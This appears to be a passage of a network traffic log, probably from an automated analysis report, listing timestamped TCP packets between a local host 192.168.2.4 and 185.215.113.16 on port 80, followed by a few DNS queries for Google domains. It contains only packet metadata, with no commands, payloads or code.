Nov 11, 2024 14:33:07.636535883 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636537075 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636543989 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636552095 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636564970 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636575937 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636576891 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636599064 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636619091 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636620998 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636631012 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636641026 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636653900 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636665106 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636667967 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636677027 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636691093 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636702061 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636728048 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636750937 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636761904 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636773109 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636790037 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636802912 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636802912 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636811972 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636814117 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636826038 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636845112 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636851072 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636857033 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636868000 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636874914 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636874914 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636887074 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636888981 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636893034 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636899948 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636919975 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636955023 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.636987925 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.636998892 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.637008905 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.637022018 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.637032986 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.637032986 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.637046099 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.637056112 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.637057066 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.637111902 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.637214899 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.638299942 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.638312101 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.638329029 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.638339043 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.638350010 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.638359070 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.638384104 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.638403893 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.640445948 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.640496969 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.640518904 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.640563965 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.640568018 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.640594006 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.640605927 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.640607119 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.640641928 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.640645981 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.640657902 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.640669107 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.640681028 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.640701056 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.640714884 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.640805006 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.640815020 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.640825033 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.640835047 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.640845060 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.640860081 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.640863895 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.640877008 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.640887976 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.640891075 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.640901089 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.640912056 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.640914917 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.640923023 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.640937090 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.640938044 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.640948057 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.640957117 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.640960932 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.640985012 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641000032 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641011000 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641012907 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641022921 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641033888 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641043901 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641045094 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641057968 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641066074 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641068935 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641082048 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641088963 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641120911 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641122103 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641134024 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641144991 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641155958 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641165018 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641165972 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641177893 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641196012 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641196966 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641210079 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641221046 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641230106 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641237974 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641242027 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641249895 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641259909 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641262054 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641275883 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641292095 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641294956 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641305923 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641323090 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641349077 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641412020 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641423941 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641433954 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641446114 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641458988 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641469002 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641482115 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641486883 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641509056 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641530991 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641576052 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641622066 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641625881 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641634941 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641669035 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641671896 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641688108 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641689062 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641700029 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641711950 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641716957 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641742945 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641751051 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641761065 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641771078 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641802073 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641868114 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641880035 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641890049 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641902924 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641912937 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641918898 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641925097 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641938925 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641947985 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641958952 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.641959906 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641978979 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641995907 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.641995907 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642014027 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642024994 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642026901 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642040014 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642040968 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642051935 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642062902 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642069101 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642081022 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642086983 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642091990 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642102957 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642113924 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642117977 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642127037 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642136097 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642138958 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642152071 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642158985 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642163038 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642196894 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642201900 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642208099 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642219067 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642229080 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642230034 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642241955 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642255068 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642261982 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642266035 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642277956 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642288923 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642294884 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642301083 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642312050 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642337084 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642349958 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642360926 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642375946 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642388105 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642398119 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642400026 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642410994 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642411947 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642422915 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642440081 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642448902 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642452002 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642462969 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642473936 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642477036 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642484903 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642492056 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642505884 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642518044 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642524004 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642528057 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642543077 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642556906 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642561913 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642574072 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642580032 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642585993 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642604113 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642606020 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642616034 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642628908 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642632961 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642641068 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642659903 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642667055 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642671108 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642683029 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642685890 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642694950 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642704964 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642707109 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642720938 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642726898 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642734051 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642745972 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642757893 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642764091 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642786026 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642815113 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642822981 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642827034 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642838955 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642849922 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642853022 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642862082 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642874002 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642891884 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642903090 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642904043 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642914057 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642915010 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642927885 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642940998 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642946005 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642954111 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642966032 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642966032 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.642976999 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.642992020 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.643002033 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643012047 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643022060 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.643023014 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643034935 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643044949 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643054962 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.643055916 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643069029 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643074036 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.643080950 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643091917 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643095016 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.643105030 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643116951 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.643116951 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643135071 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643136024 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.643147945 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643160105 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643167973 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.643172026 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643182993 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643196106 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.643199921 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643212080 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643219948 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.643224001 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643235922 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643248081 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.643265009 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643271923 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.643276930 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643285036 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.643289089 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643301010 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643316031 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643326044 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.643332005 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643345118 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643349886 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.643358946 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643368959 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.643395901 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.643404007 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643415928 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643426895 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643436909 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643443108 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.643450022 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643469095 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643471956 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.643481016 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643491983 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.643503904 CET	49824	80	192.168.2.4	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 11, 2024 14:32:05.388847113 CET	192.168.2.4	1.1.1.1	0x37b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:32:05.389105082 CET	192.168.2.4	1.1.1.1	0xdbfd	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 11, 2024 14:32:08.435080051 CET	192.168.2.4	1.1.1.1	0x369d	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 14:32:08.435309887 CET	192.168.2.4	1.1.1.1	0x6597	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 11, 2024 14:32:09.434725046 CET	192.168.2.4	1.1.1.1	0xd654	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
